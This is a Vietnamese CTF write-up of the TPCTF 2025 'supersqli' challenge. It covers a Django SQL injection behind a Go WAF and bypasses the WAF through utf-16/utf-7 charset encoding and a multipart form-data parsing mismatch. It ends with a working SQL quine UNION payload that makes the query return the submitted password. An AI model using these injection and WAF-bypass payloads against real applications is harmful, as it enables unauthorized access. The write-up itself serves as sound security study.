---
# System prepended metadata

title: supersqli/TPCTF 2025 writeup
tags: [sqli, ctf_writeup, sql_quine]

---

# supersqli

**mô tả:** một web server django và một reverse proxy waf được viết bằng golang

challenge chỉ có hai route `/` và `/flag`
và tập trung chính vào route `/flag` dính lỗi sqli khi sử dụng formatstring vào raw query
```python=
def flag(request:HttpRequest):
    if request.method != 'POST':
        return HttpResponse('Welcome to TPCTF 2025')
    username = request.POST.get('username')
    if username != 'admin':
        return HttpResponse('you are not admin.')
    password = request.POST.get('password')
    users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser 
                                            WHERE username='%s' and password ='%s'"
                                            % (username,password))

    try:
        assert password == users[0].password
        return HttpResponse(os.environ.get('FLAG'))
    except:
        return HttpResponse('wrong password')

```

flag được lưu tại biến môi trường và để lấy flag ta cần nhập đúng password của user `admin`.
Một điểm chú ý là nó sử dụng `assert` để so sánh giá trị của param `password` trong POST request với giá trị trả về của sqlite. 

bên cạnh đó là waf viết bằng golang filter sqli với đoạn regex

```go=
var sqlInjectionPattern = regexp.MustCompile(`(?i)(union.*select|select.*from
|insert.*into|update.*set|delete.*from|drop\s+table|#|--|\*\/|\/\*)`)

var hotfixPattern = regexp.MustCompile(`(?i)(select)`)
```
nhìn sơ qua thì mình thấy đoạn regex này vẫn có khoảng trống 
như `union select` thì bypass bằng `union \n select`, `''` để escape sql

Nhưng vấn đề là nó chặn cứng từ `select` và các ký tự để comment lại `--/**/#`


thử với payload `' or '1'='1'`
![image](https://hackmd.io/_uploads/B1nJiwToyx.png)


![image](https://hackmd.io/_uploads/Hk28ivpiJl.png)
Câu query trả về 3 cột nhưng khoogn có giá trị nào cả, 

Sau đó mình thử check file db.sqlite3 mới phát hiện bảng hoàn toàn rỗng không có user nào cả :crying_cat_face: 
![image](https://hackmd.io/_uploads/SkYDnvps1e.png)
- có thể ở local không nhưng trên server vẫn có user admin
- nhưng nếu server cũng không thì cần phải lưu ý

Nhưng dù là trường hợp nào thì cũng cần phải dùng được `select` trước đã
## Bypass filter - Charset Encoding
Mục tiêu trước mắt là phải bypass được filter để có thể dùng `select`, 
và những hướng mình có thể nghĩ + tham khảo các anh:

- bypass với request smuggling, query thứ hai sẽ né được filter và tới backend. nope
- không bypass select mà stacked query để update hoặc insert user mới vì `;` vẫn có thể dùng. thử insert. nope.
((sau mình được giải ngố là django object.raw() không thể stacked query ))
- Encoding để bypass waf, vì waf được viết bằng golang, mà backend sử dụng python django có thể nó sẽ bị conflict khi parse dữ liệu. ( khoogn chắc chắn.)

tham khảo các cheatsheet và tìm được cái này

![image](https://hackmd.io/_uploads/BJe7W_Tokl.png)
![image](https://hackmd.io/_uploads/rJp74tTsyx.png)

![image](https://hackmd.io/_uploads/BJ56FO6iyl.png)
nó vẫn không hoạt động


sau khi stuck một hồi mình nhận ra có thể là golang không support charset ibm037, đọc logs thấy toàn ký tự lạ
![image](https://hackmd.io/_uploads/S1mIR_pjJx.png)


Thử thêm lần cuối với charset khác,chuẩn utf phổ biến hơn nên  chọn `utf16` trong số đống kia

(( script encode tại cheatsheet https://github.com/0xInfection/Awesome-WAF/tree/master/others#obfupy))
![image](https://hackmd.io/_uploads/ryBLgt6ikx.png)
![image](https://hackmd.io/_uploads/BJ62eFTjke.png)

lần này thì đã bypass được proxy, 
![image](https://hackmd.io/_uploads/rJ6qeFpoyl.png)
để ý `user.columns` có trả về kết quả 3 cột, vậy confirm là đã bypass.

- vì bình thường nếuquery lỗi sẽ trả về: 
![image](https://hackmd.io/_uploads/S1ZWzFTjke.png)

- ngoài ra wu có dùng `utf-7` để bypass
![image](https://hackmd.io/_uploads/By9nMFajkl.png)
    > nhưng e vẫn chưa hiểu họ encode `select` ra `+AFM-ELECT` kiểu gì 
    ![image](https://hackmd.io/_uploads/B17IXY6jJx.png)
thử cyberchef cũng chỉ encode từ `select` ra `select`

https://book.hacktricks.wiki/en/pentesting-web/proxy-waf-protections-bypass.html
https://github.com/kh4sh3i/WAF-Bypass
https://github.com/0xInfection/Awesome-WAF?tab=readme-ov-file#obfuscation



## cách xử lý POST data của golang và django có khác biệt
Sau khi tham khảo writeup mình thấy còn có cách khác rất hay:
-> https://nvme0n1p.dev/post/2025-tpctf-wp#1b24fbcee38780739519d027e6484aea

> If the filename appears at the same time when Python and Golang parse the form-data parameter, Golang will skip it, bypassing the WAF of the first layer of Golang.

- khi không lỗi:
![image](https://hackmd.io/_uploads/rJhyXlAiyx.png)
![image](https://hackmd.io/_uploads/HyAxmlCj1x.png)
từ log của waf đoán được nó parse được hai parameter là `username` và `blabla`. 
còn django phân tích ra hai param `username` và `password`
![image](https://hackmd.io/_uploads/Hy6_QgCsyl.png)



- Khi có lỗi (không đóng dấu nháy kép):
![image](https://hackmd.io/_uploads/r1PalgCj1x.png)
-> golang chỉ đọc được `username`, còn django lấy `username` và `password`
![image](https://hackmd.io/_uploads/BkUDNeAsyl.png)
![image](https://hackmd.io/_uploads/SJ9RVlRo1g.png)

- một trường hợp khác
![image](https://hackmd.io/_uploads/BkOZZxRokl.png)
cũng tương tự waf chỉ đọc đến param `username` và dừng lại bỏ qua phần phía sau.

=> vậy là có sự bất đồng giữa golang và django khi parse dữ liệu kiểu multiPart form-data:
- golang stop ngay và không parse nữa khi gặp lỗi
- django parse hết, và nó chỉ lấy cái nó cần (`request.POST.get('username')`) chăng
- Request.ParseMultipartForm doesn't read all the body
https://github.com/golang/go/issues/32935 

...


----

Vậy là đã có thể bypass được filter, 
để lấy được flag thì phải thỏa được điều kiện
![image](https://hackmd.io/_uploads/S166r2ajkl.png)

- `password` lấy giá trị từ POST.get('password')
tức là input ta nhập vào và giá trị câu truy vấn trả về phải trùng khớp
=> phải nhập đúng mật khẩu của admin thì mới được.

Bình thường gặp tình huóngo này mình sẽ khai thác blind sqli để extract mật khẩu của admin.

Nhưng trường hợp này trong bảng không có user nào cả
![image](https://hackmd.io/_uploads/BJrJOApjkl.png)



Thì ra vẫn còn một cách nữa để `password` == `request.POST.get("password")`
đó là sqli quine.

## SQLi Quine
> From Wikipedia, a quine is a computer program which takes no input and produces a copy of its own source code as its only output.

=> sql quine, là nói về những câu query mà giá trị trả về của nó chính là input nhập vào ( giống hệt nhau) 
![image](https://hackmd.io/_uploads/SJ9U9RTiyl.png)

![image](https://hackmd.io/_uploads/SkBnYoTsyg.png)

```sql!
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine
```
Mình không hiểu rõ logic của câu lệnh nhưng sẽ cố gắng làm sao để có thể sửa nó tùy ý
tách nhỏ nó ra:
- câu truy vấn gồm hai hàm replace() lồng nhau
- ![image](https://hackmd.io/_uploads/rkcrCCaiyg.png)
- CHAR(34),CHAR(39)),CHAR(36) lần lượt là `''` `""` `$`

Để ý những phần màu Cam, suy ra tổng quát sẽ là

```sql!
select 
    replace(
        replace( '<payload>' , char(34) , char(39)),
        char(36),
        '<payload again>'
        )
```
trong đó 
    - `$ - char(36)` đóng vai trò như placeholder 
    - đoạn string `'<payload>'` để đưa vào placeholder `$` kia và đoạn string này sẽ giống với payload tổng quát.
    -
    
Nắm được quy tắc vậy giờ mình có thể tùy ý thay đổi payload để phù hợp với chall
trở lại challenge
![image](https://hackmd.io/_uploads/SJwOZyAjJx.png)
nó sẽ lấy giá trị đầu tiên trong cột `password`.

vậy ta sẽ sử dụng union để câu truy vấn trả về giá trị

- payload tổng quát sẽ là
```sql!
aaa' union select
     1,2,replace(
             replace('<payload>', char(34), char(39)),
             char(36),
             '<payload>') 
             ;-- -

```
phần string `<payload>` cũng sẽ tương tự tổng quát
>aaa' union   select ...  replace(  replace(...));-- -  
```sql!
aaa" union select 1,2,replace(replace("$",char(34),char(39)),char(36),""$");-- -
```

cuối cùng ta được
```sql!
aaa' union select 1,2,replace(replace('aaa" union select 1,2,replace(replace("$",char(34),char(39)),char(36),"$");-- -',char(34),char(39)),char(36),'aaa" union select 1,2,replace(replace("$",char(34),char(39)),char(36),"$");-- -');-- -
```
![image](https://hackmd.io/_uploads/H1S7j1Ao1l.png)
![image](https://hackmd.io/_uploads/SkxltokCoJg.png)

https://stackoverflow.com/questions/4006189/quine-self-producing-sql-query
https://stackoverflow.com/questions/4006189/quine-self-producing-sql-query
https://hackmd.io/@hoifanrd/SkIY868tD